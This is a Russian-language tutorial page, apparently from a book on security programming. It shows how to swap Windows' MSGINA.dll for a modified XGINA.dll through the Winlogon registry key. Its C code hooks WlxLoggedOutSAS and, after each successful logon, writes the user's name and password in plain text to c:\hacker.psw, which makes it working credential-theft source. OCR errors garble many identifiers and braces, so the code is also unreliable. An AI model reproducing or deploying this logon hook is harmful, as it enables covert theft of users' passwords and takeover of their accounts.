Самоучитель по программированию систем защиты

       

Модифицированная библиотека Gina



Модифицированная библиотека Gina

f Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).

Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll.

XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:

WLXNEGOTIATE

WLXINITIALIZE

WLXDISPLAYSASNOTICE

WLXLOGGEDOUTSAS

WLXACTIVATEUSERSHELL

WLXLOGGEDONSAS

WLXISLOCKOK

WLXDISPLAYLOCKEDNOTICE

WLXWKSTALOCKEDSAS



g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;

g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;

g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL;

g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;

WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;

WLXLOGOFF . g_lpWlxLogoff » NULL;

WLXSHUTDOWN g_lpWlxShutdown - NULL;

BOOL InitMSGinaDllO

{ .

hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));

if (hMSGinaDLL == NULL)

{

return FALSE; }

MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK);

g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate" );

g_lpWlxInitialize = ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize" ) ;

g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice" ); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS )GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS" );

g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL, "WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(hMSGinaDLL,

"WlxLoggedOnSAS" );

g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL, "WlxIsLockOk" );

g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE ) GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS = ( -WLXWKSTALOCKEDSAS .) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS" ); g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk" ) ;

g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff" ); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown" );

MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"), MBJDK); return TRUE;

Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:

int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, FLUID pAuthenticationld, //ID, ассоциированный с текущей сессией logon

PSID pLogonSid, //SID уникальный для текущей сессией logon

PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,

PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile )

//указатель на одну из структур WLX_PROFILE_xxx { '

int res,i; FILE *out;

UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20,0}; UCHAR end[3]={OxD,OxA,0};

MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK); //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(

pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,

pProfile );

if(res == WLX_SAS_ACTION_LOGON) {

for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)

{

if(pMprNotify!nfo->pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo->pszUserName[i]; //получение имени пользователя

for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ )

if(pMprNotify!nfo->pszPassword[i]==0) break;

else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение пароля пользователя

out=fopen ("с: \\hacker.psw", "r+b") ; if (out!=NULL) {

f seek (out, 0, SEEK_END) ;

//вывод имени пользователя в файл с: \\hacker .psw f write (cur rent_name, sizeof (char) , strlen (current_name) , out);

fwrite (pro, sizeof (char) , 1, out) ;

//вывод пароля пользователя в файл с: \\hacker .psw fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;

fwrite (end, sizeof (char) , 2, out) ; fclose (out) ;

'

return res;

 



Содержание раздела